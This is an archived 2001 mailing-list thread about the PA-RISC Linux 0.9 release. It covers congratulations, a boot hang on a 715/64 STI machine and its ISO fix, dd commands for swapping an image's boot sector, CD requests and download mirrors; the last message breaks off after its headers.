NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:00 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com (Matt Taggart),
	parisc-linux@parisc-linux.org
To: herrold@owlriver.com (R P Herrold)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 02:36:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55D71482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 02:36:56 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 155kNn-0000Ct-00; Fri, 01 Jun 2001 09:34:11 +0100
In-Reply-To: <Pine.LNX.4.33.0105312322380.25498-100000@swampfox.owlriver.com> from "R P Herrold" at May 31, 2001 11:25:50 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11180

> > http://parisc-linux.org/release-0.9/
> 
> Congratulations ...

Ditto.

Im slightly perturbed that random disk corruption under load isnt in release
errata notes as you are shipping a 2.4.0 kernel.

> website hint -- stolen from the FSF -- list the SIZE of the
> images, to permit potential downloaders decide if it is worth
> it.

Its a nice layout other than that. It doesnt render on some browsers however
because you have wrongly nested tables, an extra </table> and a <div> in the
wrong place.

But at the point we are debating the website I suspect it means there are a
shortage of useful things to pick holes in ;)






From - Thu Nov 08 21:17:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jayadeep Purushothaman <jdp@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Fri, 01 Jun 2001 15:07:43 +0530
Organization: Hewlett Packard
Lines: 16
Approved: news@gmane.org
Message-ID: <3B176267.62E08C3A@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620160 19834 80.91.229.3 (22 Nov 2014 01:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 03:37:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14E2D482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 03:37:32 -0600 (MDT)
Original-Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132])
	by palrel2.hp.com (Postfix) with ESMTP id 4C6581452
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 02:37:28 -0700 (PDT)
Original-Received: from india.hp.com (jdp@ob47143.india.hp.com [15.10.47.143]) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id PAA17752 for <parisc-linux@parisc-linux.org>; Fri, 1 Jun 2001 15:04:37 +0530 (IST)
Original-Sender: jdp@india.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11181

Hi,

Is there a way someone can ship a CD for me? I am in India, so trying to
download the ISO images will take way too much bandwidth.

Thanks,
Jayadeep

Jayadeep Purushothaman,
Hewlett Packard (ISO),
29, Cunningham Road
Bangalore - 52





From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Nicolai Leymann" <n.leymann@berkom.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux 0.9 on 715/64 STI
Date: Fri, 1 Jun 2001 12:54:10 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <NDBBKPOMPCLCKIFPPHMNKEBKCOAA.n.leymann@berkom.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620160 19839 80.91.229.3 (22 Nov 2014 01:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 04:53:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailer.berkom.de (mailer.berkom.de [141.39.13.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9085482C
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Jun 2001 04:53:30 -0600 (MDT)
Original-Received: from peelnb (peel-nb.berkom.de [141.39.12.118])
	by mailer.berkom.de (8.11.2/0.0.0) with SMTP id f51ArQV00079
	for <parisc-linux@lists.parisc-linux.org>; Fri, 1 Jun 2001 12:53:26 +0200 (MET DST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:11182

Dear all,

I've downloaded the palinux 0.9 STI image and tried to install
it on my 715/64 (the 0.6.1 STI release runs fine). But during
booting from the CD the system hangs with the following messages:

  Warning: unable to open an initial console
  loop: enabling 8 loop devices

And thats it. Any ideas? Is it possible that the images tries
to open an serial console (which is not connected)?

   Nic

--
Nicolai Leymann                   Mail:   nicolai.leymann@telekom.de
T-Nova Berkom                     Phone:  ++49-30-34973570
IP-Technologies, T33              Mobile: ++49-0170-2275345
Goslarer Ufer 35, 10589 Berlin    Fax:    ++49-30-34973571





From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9 on 715/64 STI
Date: Fri, 01 Jun 2001 13:14:58 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3B177932.235F76E4@esiee.fr>
References: <NDBBKPOMPCLCKIFPPHMNKEBKCOAA.n.leymann@berkom.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620160 19841 80.91.229.3 (22 Nov 2014 01:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:00 +0000 (UTC)
To: Nicolai Leymann <n.leymann@berkom.de>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 05:03:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5620F482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 05:03:19 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 31E29D15B1; Fri,  1 Jun 2001 13:03:17 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11183

Hi Nicolai,

> I've downloaded the palinux 0.9 STI image and tried to install
> it on my 715/64 (the 0.6.1 STI release runs fine). But during
> booting from the CD the system hangs with the following messages:
> 
>   Warning: unable to open an initial console
>   loop: enabling 8 loop devices
Here, I tested the serial version of 0.9. That's why we said that
715/Mirage were working!
I gonna look at it...

Be careful, Richard Hirst detected that the narrowsti.conf is bugged!
You have to modify the path (narrow -> sti). Perhaps, here is athe
explanation!

I gonna publish the fixed version on the ESIEE site, stay tuned, Thomas
ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Fri, 1 Jun 2001 10:59:13 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <AB57FCC5E303D511BB8F00A0C9F485C2011948D7@xfc02.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620161 19848 80.91.229.3 (22 Nov 2014 01:36:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:01 +0000 (UTC)
To: "'Jayadeep Purushothaman'" <jdp@india.hp.com>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 09:06:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC079482B
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 09:06:30 -0600 (MDT)
Original-Received: from amrelay1.boi.hp.com (amrelay1.boi.hp.com [15.56.8.24])
	by palrel2.hp.com (Postfix) with ESMTP id ABFAA12F1
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 08:06:29 -0700 (PDT)
Original-Received: from xatlbh4.atl.hp.com (xatlbh4.atl.hp.com [15.45.89.189])
	by amrelay1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA09861;
	Fri, 1 Jun 2001 09:06:17 -0600 (MDT)
Original-Received: by xatlbh4.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <LZ71WRVN>; Fri, 1 Jun 2001 11:06:16 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11184

We plan to create a bunch of CDs for purposes like this.  We want to wait a
week or so, just to make sure the current ISOs  don't have some major
problems to be fixed.  Can you wait a bit?

Alan
 
> Is there a way someone can ship a CD for me? I am in India, 
> so trying to
> download the ISO images will take way too much bandwidth.
> 
> Thanks,
> Jayadeep
> 
> Jayadeep Purushothaman,
> Hewlett Packard (ISO),
> 29, Cunningham Road
> Bangalore - 52
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9 on 715/64 STI
Date: Fri, 01 Jun 2001 17:51:22 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3B17B9FA.DD8A5A42@esiee.fr>
References: <NDBBKPOMPCLCKIFPPHMNKEBKCOAA.n.leymann@berkom.de> <3B177932.235F76E4@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620161 19871 80.91.229.3 (22 Nov 2014 01:36:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:01 +0000 (UTC)
To: Nicolai Leymann <n.leymann@berkom.de>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 09:40:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FD8D482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 09:40:01 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id ACE7AD15B6; Fri,  1 Jun 2001 17:39:38 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11185

Hi again Nicolai and all,
 
> > I've downloaded the palinux 0.9 STI image and tried to install
> > it on my 715/64 (the 0.6.1 STI release runs fine). But during
> > booting from the CD the system hangs with the following messages:
> >
> >   Warning: unable to open an initial console
> >   loop: enabling 8 loop devices

I just did the test. It works on my 715/80 with my new iso!

Good luck, Thomas
ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicolai Leymann <nicolai@nleymann.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re[2]: [parisc-linux] palinux 0.9 on 715/64 STI
Date: Fri, 1 Jun 2001 17:48:46 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <1622980093.20010601174846@nleymann.de>
References: <NDBBKPOMPCLCKIFPPHMNKEBKCOAA.n.leymann@berkom.de>
 <3B177932.235F76E4@esiee.fr> <3B17B9FA.DD8A5A42@esiee.fr>
Reply-To: Nicolai Leymann <nicolai@nleymann.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620162 19889 80.91.229.3 (22 Nov 2014 01:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:02 +0000 (UTC)
Cc: Nicolai Leymann <n.leymann@berkom.de>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 09:45:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 174AC482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 09:45:36 -0600 (MDT)
Original-Received: from [195.20.224.220] (helo=mrvdom04.kundenserver.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 155r6z-0000nz-00; Fri, 1 Jun 2001 17:45:17 +0200
Original-Received: from [141.39.25.178] (helo=knaeul)
	by mrvdom04.kundenserver.de with esmtp (Exim 2.12 #2)
	id 155r6G-0000Md-00; Fri, 1 Jun 2001 17:44:32 +0200
X-Mailer: The Bat! (v1.52c) Personal
X-Priority: 3 (Normal)
In-Reply-To: <3B17B9FA.DD8A5A42@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:11186

Hi,

Friday, June 01, 2001, 5:51:22 PM, you wrote:


TM> Hi again Nicolai and all,
TM> I just did the test. It works on my 715/80 with my new iso!
Thanks a lot, I will try it on Tuesday when I'm back to office.

   Nic





From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9 on 715/64 STI
Date: Fri, 01 Jun 2001 11:32:59 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <E155snD-0008EK-00@noam.fc.hp.com>
References: <NDBBKPOMPCLCKIFPPHMNKEBKCOAA.n.leymann@berkom.de>  <3B177932.235F76E4@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620162 19893 80.91.229.3 (22 Nov 2014 01:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:02 +0000 (UTC)
Cc: Nicolai Leymann <n.leymann@berkom.de>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 11:33:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05EDA482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 11:33:01 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id E902B10B3; Fri,  1 Jun 2001 13:32:59 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id LAA14547;
	Fri, 1 Jun 2001 11:32:59 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 155snD-0008EK-00; Fri, 01 Jun 2001 11:32:59 -0600
In-Reply-To: Your message of "Fri, 01 Jun 2001 13:14:58 +0200."
             <3B177932.235F76E4@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:11187

I've corrected the ISO image with the STI problem (the file /narrowsti.conf
is still wrong -- see the errata).  If you have an old copy of this ISO, you
can patch it by downloading

http://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.9-32sti.iso.sector0

    and running:

dd if=palinux-0.9-32sti.iso of=palinux-0.9-32sti.iso.sector0 conv=notrunc bs=512

    *** Do Not Omit the 'conv=notrunc'!!!!




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Version 0.9 of PA-RISC Linux Released
Followup-To: gmane.linux.ports.hppa
Date: Sat, 2 Jun 2001 02:03:02 +0800
Lines: 43
Approved: news@gmane.org
Message-ID: <20010602020300.A20205@neep.com.au>
References: <20010601030203.EE8B937EF8@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620162 19900 80.91.229.3 (22 Nov 2014 01:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 12:03:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 87A82482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 12:03:19 -0600 (MDT)
Original-Received: (qmail 31696 invoked by uid 666); 1 Jun 2001 18:03:07 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.173.175)
  by mail.iinet.net.au with SMTP; 1 Jun 2001 18:03:07 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id CAA20289;
	Sat, 2 Jun 2001 02:03:06 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org,
	debian-hppa@lists.debian.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010601030203.EE8B937EF8@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Thu, May 31, 2001 at 09:02:03PM -0600
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11188

Congratulations, team, on making the release!

I had a quick look the files which I found here:

  http://puffin.external.hp.com/pub/parisc/cd-images/

A couple of questions arose:

- what's the 142MB "gg" file dated "01-Jun-2001 10:23"?  I mean, I know
  who gg is (hi grant) but as this file is of around the same vintage as
  all the 0.9 compressed ISOs I thought I'd see if it was related

- are all the 0.9 ISOs identical except for which kernel is booted by
  default?  eg does the 0.9-32bit-STI CD image also contain the kernels
  for the 32bit-serial and 64bit-serial installs?

Oh, hang on, I see my second question is already answered by the footer
of the above HTTP directory listing, but I'll leave it in for the
archives I guess.  Answer is:


  You can change one 0.9 ISO into another by replacing the first 512
  bytes.  For example, to change the 32serial into the 64serial, do

  dd bs=512 conv=notrunc if=palinux-0.9-64serial.iso.sector0 \
  of=palinux-0.9-32serial.iso

  You probably want to rename the file too...


I see the same information is provided in a more brief form at the
bottom of the 0.9 README.  Oh well, pardon my ramblings.  ;)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Version 0.9 of PA-RISC Linux Released
Date: Fri, 01 Jun 2001 13:23:41 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <E155uWL-0008H8-00@noam.fc.hp.com>
References: <20010601030203.EE8B937EF8@carmen.fc.hp.com>  <20010602020300.A20205@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620162 19904 80.91.229.3 (22 Nov 2014 01:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 13:23:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C37DE482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 13:23:43 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 7FC679AE; Fri,  1 Jun 2001 15:23:42 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id NAA23566;
	Fri, 1 Jun 2001 13:23:41 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 155uWL-0008H8-00; Fri, 01 Jun 2001 13:23:41 -0600
In-Reply-To: Your message of "Sat, 02 Jun 2001 02:03:02 +0800."
             <20010602020300.A20205@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:11189

= A couple of questions arose:
= 
= - what's the 142MB "gg" file dated "01-Jun-2001 10:23"?  I mean, I know
=   who gg is (hi grant) but as this file is of around the same vintage as
=   all the 0.9 compressed ISOs I thought I'd see if it was related

It was a temporary file I used while correcting the STI ISO.

= - are all the 0.9 ISOs identical except for which kernel is booted by
=   default?  eg does the 0.9-32bit-STI CD image also contain the kernels
=   for the 32bit-serial and 64bit-serial installs?

Yes.  the palinux-0.9-README (also in the ISOs) gives a clue how to use
the CD for other purposes.  There is a README in the cd-images directory
which tells how to turn one bootable image into another bootable image
by downloading only 512 bytes.




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ISO Mirrors
Date: Fri, 01 Jun 2001 13:27:24 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <E155uZw-0008Hi-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620163 19908 80.91.229.3 (22 Nov 2014 01:36:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 13:27:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7040482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 13:27:25 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id 13F1014D9
	for <parisc-linux@parisc-linux.org>; Fri,  1 Jun 2001 15:27:25 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id NAA23889
	for <parisc-linux@parisc-linux.org>; Fri, 1 Jun 2001 13:27:24 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 155uZw-0008Hi-00
	for <parisc-linux@parisc-linux.org>; Fri, 01 Jun 2001 13:27:24 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11190

Our web site doesn't seem to be updating from CVS so I thought I'd point
out we have 2 (known) mirrors.  If you set up a mirror we'd appreciate
ISO download figures so we can figure out which ISOs are most popular
and how popular.

    France:
	http://mkhppa1.esiee.fr/en/download.html

    HP Internal:
	http://ldl.fc.hp.com/pub/parisc/cd-images




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Upgrade path from 0.6 to 0.9?
Date: Fri, 01 Jun 2001 17:47:47 -0400
Organization: HP Response Center
Lines: 97
Approved: news@gmane.org
Message-ID: <3B180D83.F5479D0B@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620163 19919 80.91.229.3 (22 Nov 2014 01:36:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 15:47:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF9E3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Jun 2001 15:47:50 -0600 (MDT)
Original-Received: from xparelay2.corp.hp.com (xparelay2.corp.hp.com [15.58.137.112])
	by palrel1.hp.com (Postfix) with ESMTP id 2608719D9
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Jun 2001 14:47:50 -0700 (PDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xparelay2.corp.hp.com (Postfix) with ESMTP id F10A01F54F
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Jun 2001 14:46:17 -0700 (PDT)
Original-Received: from hp.com (caslivkoff3107.atl.hp.com [15.50.82.243]) by xatlbh2.atl.hp.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id K8XXLRDY; Fri, 1 Jun 2001 17:47:49 -0400
